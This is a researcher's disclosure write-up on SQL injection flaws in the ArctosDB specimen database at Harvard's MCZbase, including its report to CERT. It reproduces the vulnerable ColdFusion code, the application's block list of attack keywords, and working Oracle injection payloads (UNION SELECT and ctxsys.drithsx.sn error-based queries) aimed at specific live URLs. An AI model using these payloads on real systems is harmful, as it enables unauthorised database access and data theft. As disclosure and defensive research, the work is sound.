• Timothy French

ArctosDB Oracle SQL Injection & Harvard

Timothy French, Dominik Penner and ItsNux


Discovery:

While searching Google for vulnerabilities in universities to report, I came across a GET parameter in a web-application labeled ArctosDB at Harvard. The parameter was:


mczbase.mcz.harvard.edu/SpecimenResults.cfm?publication_id=1.

Injecting a ' in the parameter resulted in an Oracle SQL error.

From here I attempted to query the database but found myself blacklisted almost instantly, so I referred to my colleagues in hopes we could find a way to bypass this filter in order to execute queries against the database. We were initially unable to figure out an applicable methodology, but ItsNux located a form on another page of the web-application that reacted in the same way.

Exploitation:

Looking at the code, we found that best practices were not being applied in terms of securing against input validation attacks beyond their filter. The vulnerable code is below:


------------------- arctos/SpecimenDetail.cfm -------------------
<cfif isdefined("guid")>
<cfif cgi.script_name contains "/SpecimenDetail.cfm">
<cfheader statuscode="301" statustext="Moved permanently">
<cfheader name="Location" value="/guid/#guid#">
<cfabort>
</cfif>
<cfset checkSql(guid)>
<cfif guid contains ":">
<cfoutput>
         ------------THIS IS WHERE THE VULNERABILITY IS------------
<cfset sql="select #session.flatTableName#.collection_object_id from
                     #session.flatTableName#,cataloged_item
                 WHERE
                     #session.flatTableName#.collection_object_id=cataloged_item.collection_object_id and
                     upper(#session.flatTableName#.guid)='#ucase(guid)#'">
         ----------------------------------------------------------
<cfset checkSql(sql)>
<cfquery name="c" datasource="user_login" username="#session.dbuser#" password="#decrypt(session.epw,session.sessionKey)#">
                 #preservesinglequotes(sql)#
</cfquery>
</cfoutput>
</cfif>
<cfif isdefined("c.collection_object_id") and len(c.collection_object_id) gt 0>
<cfset collection_object_id=c.collection_object_id>
<cfelse>
<cfinclude template="/errors/404.cfm">
<cfabort>
</cfif>
<cfelse>
<cfinclude template="/errors/404.cfm">
<cfabort>
</cfif>
 -------------------------------------------------------------------

At this point, it was plugged into SQLMap & the injection was confirmed, so the payload was taken from the logs & passed to the rest of us. It took time to determine what was going on because when attempting to inject manually, we were still being blacklisted.

After more searching, Dominik located a comment in the web-applications GitHub page that explained the reasoning behind the blacklisting & allowed us to find a solution to the filtering system. The following explanation of the solution by the GitHub account GoogleCodeExporter goes in further detail:


SQL Injection bots like to probe Arctos. I don't like that. Currently, SpecimenSearch filters for 0select characters and displays an error if they are found. This is not a portable solution - implement something reusable and tunable.

There is a list of characters that are filtered for, and if one is found in user supplied input then the IP Address associated with that query is blacklisted. We found the following portion of code on the GitHub page:


<!---- various attempts at SQL injection ---->
<cfif isdefined("request.rdurl") and (
request.rdurl contains "' and 'x'='x" or
request.rdurl contains "%27%20and%20%27x%27%3D%27x" or
request.rdurl contains "%22%20and%20%22x%22%3D%22x"
)>
<cfset bl_reason="URL contains 'x'='x">
<cfinclude template="/errors/autoblacklist.cfm">
<cfabort>
</cfif>

<cfif isdefined("request.rdurl") and request.rdurl contains "'A=0">
<cfset bl_reason="URL contains 'A=0">
<cfinclude template="/errors/autoblacklist.cfm">
<cfabort>
</cfif>
<!--- check these every time, even if there's no error; these things are NEVER allowed in a URL ---->
<cfset x="script,write">
<cfloop list="#lurl#" delimiters="#chr(7)#" index="i">
<cfif listfindnocase(x,i)>
<cfset bl_reason='URL contains #i#'>
<cfinclude template="/errors/autoblacklist.cfm">
<cfabort>
</cfif>
</cfloop>
<!----- END: stuff in this block is always checked; this is called at onRequestStart ------>
<!-----
START: stuff in this block is only checked if there's an error
Performance is unimportant here; this is going to end with an error
------>
<cfif isdefined("inp")>
<cfif len(lurl) gt 0>
<!----
<cfif lurl contains "utl_inaddr" or lurl contains "get_host_address">
<cfset bl_reason='URL contains utl_inaddr or get_host_address'>
<cfinclude template="/errors/autoblacklist.cfm">
<cfabort>
</cfif>
<cfif request.rdurl contains "#chr(96)##chr(195)##chr(136)##chr(197)#">
<cfset bl_reason='URL contains #chr(96)##chr(195)##chr(136)##chr(197)#'>
<cfinclude template="/errors/autoblacklist.cfm">
<cfabort>
</cfif>
----->
<!---- random junk that in combination with an error is always indicitive of bot/spam/probe/etc. traffic---->
<cfset x="">
<cfset x=x & ",@@version,#chr(96)##chr(195)##chr(136)##chr(197)#,'A=0,/)">
<cfset x=x & ",1phpmyadmin,2phpmyadmin,3phpmyadmin,4phpmyadmin">
<cfset x=x & ",account,administrator,admin-console,attr(,asmx,abstractapp,adimages,asp,aspx,awstats,appConf,announce,ads,ackBulletin,aupm">
<cfset x=x & ",ashx,app_debug,assets,auth,App,ASPSamp,AdvWorks,AccountService,Accounts">
<cfset x=x & ",backup,backend,backoffice,blog,board,backup-db,backup-scheduler,batch,bea_wls_deployment_internal">
<cfset x=x & ",career,char,chr,ctxsys,CHANGELOG,content,cms,checkupdate,colorpicker,comment,comments,connectors,cgi,cgi-bin,cgi-sys">
<cfset x=x & ",calendar,config,client,cube,cursor,COLUMN_NAME,CHECKSUM,CHARACTER_MAXIMUM_LENGTH,create,check_proxy,cfide,cfgmaker,cfg">
<cfset x=x & ",catalog,cart,CoordinatorPortType,chat,cpanel,cf_scripts,COMMIT_EDITMSG,console,CHANGELOG,com_sun_web_ui,cfdocs">
<cfset x=x & ",classLoader,cacheObjectMaxSize">
<cfset x=x & ",drithsx,dbg,dbadmin,declare,DB_NAME,databases,displayAbstract,db_backup,do,downloader,DEADBEEF,deployment-config,dbm">
<cfset x=x & ",etc,environ,exe,editor,ehcp,employee,entries,elfinder,erpfilemanager,equipment">
<cfset x=x & ",fulltext,feed,feeds,filemanager,fckeditor,FileZilla,fetch,FETCH_STATUS,ftpconfig,flex2gateway">
<cfset x=x & ",getmappingxpath,get_host_address,git,globalHandler,git,.git">
<cfset x=x & ",html(,HNAP1,htdocs,horde,HovercardLauncher,HelloWorld,has_dbaccess,hana,hooks,heads">
<cfset x=x & ",inurl,invoker,ini,into,INFORMATION_SCHEMA,iefixes,id_rsa,id_dsa">
<cfset x=x & ",jbossws,jbossmq-httpil,jspa,jiraHNAP1,jsp,jmx-console,journals,JBoss,jira,jkstatus,joomla,jsf">
<cfset x=x & ",lib,lightbox,local-bin,LoginForm,localization,logs,logon">
<cfset x=x & ",master,mpx,mysql,mysql2,mydbs,manager,myadmin,muieblackcat,mail,magento_version,manifests,market,mrtg,modules,mychat">
<cfset x=x & ",news,nyet,newdsn">
<cfset x=x & ",ord_dicom,ordsys,owssvr,ol,objects,owa,openshift,onrequestend">
<cfset x=x & ",php,phppath,phpMyAdmin,PHPADMIN,phpldapadmin,phpMyAdminLive,_phpMyAdminLive,printenv,proc,plugins,passwd,pma2,pmc">
<cfset x=x & ",pma4,php5,pre-receive">
<cfset x=x & ",pma,phppgadmin,prescription,phpmychat,pre-push">
<cfset x=x & ",rand,reviews,rutorrent,rss,roundcubemail,roundcube,README,railo-context,railo,Rapid7,register,remote_support,remote_tunnel">
<cfset x=x & ",remote-sync,regex,register,rar,refs,receive,remotes">
<cfset x=x & ",sys,swf,server-status,stories,setup,sign_up,system,signup,scripts,sqladm,soapCaller,simple-backup,sedlex,sysindexes">
<cfset x=x & ",sftp-config,store,shop,server_info">
<cfset x=x & ",sysobjects,svn,sap,ssh,stash">
<cfset x=x & ",servlet,spiffymcgee,server-info,sparql,sysobjects,sample">
<cfset x=x & ",trackback,texteditor,tar">
<cfset x=x & ",utl_inaddr,uploadify,userfiles,updates,update,UserFollowResource">
<cfset x=x & ",verify-tldnotify,version,varien,viagra,vscode,views">
<cfset x=x & ",wiki,wp-admin,wp,webcalendar,webcal,webdav,w00tw00t,webmail,wp-content,wdisp,wooebay,wlwmanifest,webfig,wordpress">
<cfset x=x & ",YandexImages">
<cfset x=x & ",zboard">

Once we saw this, we began picking it apart. The parameter on Harvard was in https://mczbase.mcz.harvard.edu/showLocality.cfm on the Higher Geog form. This was the POST request:


action=srch&higher_geog=test&continent_ocean=&ocean_region=&ocean_subregion
 =&sea=&island=&island_group=&feature=&water_feature=&country=&state_prov=&c
 ounty=&quad=&geog_auth_rec_id=&spec_locality=&collnOper=&collection_id=&Max
 DepthOper=%3D&maximum_Depth=&MinElevOper=%3D&minimum_elevation=&depth_units
 =&MaxElevOper=%3D&maximum_elevation=&locality_remarks=&orig_elev_units=&loc
 ality_id=&geology_attribute=&geo_att_value=&geology_attribute_hier=0&NoGeor
 efBecause=&VerificationStatus=&GeorefMethod=&geolocate_precision=&coordinat
 eDeterminer=&gs_comparator=%3D&geolocate_score=&geolocate_score2=&verbatim_
 locality=&begDateOper=%3D&began_date=&endDateOper=%3D&ended_date=&verbatim_
 date=&verbatimCoordinates=&collecting_method=&coll_event_remarks=&verbatimC
 oordinateSystem=&habitat_desc=&collecting_source=&verbatimSRS=&collecting_e
 vent_id=

We discovered that injecting using the NULL technique did not result in a blacklist, so we created this payload:


action=srch&higher_geog=-testing' UNION ALL SELECT
null,null,null,banner,null,null,null,null,null,null,null,null,null,null,nul
 l,null,null,null,null,null,null,null,null,null,null,null,nullfrom
 v$version--+-&continent_ocean=&ocean_region=&ocean_subregion=&sea=&island=&
island_group=&feature=&water_feature=&country=&state_prov=&county=&quad=&ge
og_auth_rec_id=&spec_locality=&collnOper=&collection_id=&MaxDepthOper==&max
imum_Depth=&MinElevOper==&minimum_elevation=&depth_units=&MaxElevOper==&max
imum_elevation=&locality_remarks=&orig_elev_units=&locality_id=&geology_att
ribute=&geo_att_value=&geology_attribute_hier=0&NoGeorefBecause=&Verificati
onStatus=&GeorefMethod=&geolocate_precision=&coordinateDeterminer=&gs_compa
rator==&geolocate_score=&geolocate_score2=&verbatim_locality=&begDateOper==
 &began_date=&endDateOper==&ended_date=&verbatim_date=&verbatimCoordinates=&
collecting_method=&coll_event_remarks=&verbatimCoordinateSystem=&habitat_de
sc=&collecting_source=&verbatimSRS=&collecting_event_id=

Which, upon submission resulted in the following page:



From here, we tested additional payloads and reached out to Harvard. The initial endpoint was patched, but what we discovered in the meantime was that this was an open sourced software utilized by numerous universities. Realizing that this was a 0day, we ran through each of the forms in the installation of ArctosDB that Harvard had set up.

A roadblock that we ran into while checking if other forms were also vulnerable to the SQL injection was that the same technique was not working. Instead, we were able to verify time-based injection & error-based injections, which worked equally well.

Using the function ctxsys.drithsx.sn, we were able to further query information from the

databases across numerous GET & POST requests. Here are two more examples:

1) On https://mczbase.mcz.harvard.edu/SpecimenUsage.cfm in the form: Cited Scientific

Name, this form was vulnerable. The POST Request before injection is as follows:


action=search&toproject_id=&p_title=&author=&year=&sponsor=&project_t
 ype=&descr_len=100&publication_type=&journal=&collection_id=&onlyCite
 Pubs=&cited_sci_Name=test&current_sci_Name=&is_peer_reviewed_fg=


The payload we used was:


test' and ctxsys.drithsx.sn(1,(select sys.stragg (distinct banner||':') from v$version)) isnotnull--

Injecting this payload in the cited sci Name parameter resulted in the following:



2) The following GET Parameter is likewise vulnerable to the same injection technique:


https://mczbase.mcz.harvard.edu/SpecimenResultsHTML.cfm?&ShowObservations=f alse&type_status=Figured' 

By injecting the same query as before, the request becomes this:


https://mczbase.mcz.harvard.edu/SpecimenResultsHTML.cfm?&ShowObservations=f alse&type_status=Figured' and ctxsys.drithsx.sn(1,(select sys.stragg (distinct owner||':') from all_tables)) isnotnull--

The result of the request is this:



Subsequently, Dominik wrote a Python script that skimmed through each file downloaded from GitHub that looked for files containing cfqueryparam to see how many other vulnerable parameters there were. Here were the results:


zero@pwn:~/Documents/python/cfscan$ ./cfscan.py student_tracking

      __                     
   ___ / _|___  ___ __ _ _ __  
/ __||_/ __|/ __/ _` | '_ \ 
| (__|  _\__ \ (_| (_|||||
\___|_||___/\___\__,_|_||_|
                    by @zer0pwn
usage: ./cfscan.py ~/target_dir


 [+] searching student_tracking for cfm and cfc files
 [+] found 391 files 

 Found 1140 cfquery tags.
 156 of them are using cfqueryparam

Upon seeing that only 156 of 1140 parameters were using cfqueryparam, we began formulating a write-up and seeking contact as the issue at hand just became much more complicated.


Reporting:

After doing a skim through of the code for any additional vulnerabilities, we reached out to the developers over their GitHub page, emailing them to report the 0day so it could be patched. We were, however, ignored for several months until we reached out to CERT.

Will Dormann of CERT instructed us to submit our full report to him and assured us that he would reach out to ArctosDB to assist in getting their attention and fixing the issues at hand.



ArctosDB responded that they were in the middle of migrating from Oracle to Postgres and that it was not recommended for anyone to utilize the current code-base. They did not issue a security advisory to inform anyone using the current source of the vulnerabilities it presented.



After waiting a few months for a response, we decided that we would hand the report over to Harvard and disclose this vulnerability. I was awarded a letter of thanks, and the issue was patched on their end. Never-the-less, the vulnerable code-base remains intact on GitHub.

Normally, I wouldn’t go ahead with the disclosure of a 0day before patches are available, but in this case it has been over a year since the initial discovery, and several months since a full report has been forwarded, so I felt it was time for full disclosure.

Thank you for your time. For additional questions or inquiries please reach me at using the information provided below: timothy@hackersforchange.com

Twitter.com/leet_sauce

https://www.linkedin.com/in/timothy-french-423212186

© 2020 by Hackers for Change

  • Instagram
  • Facebook
  • Twitter
  • LinkedIn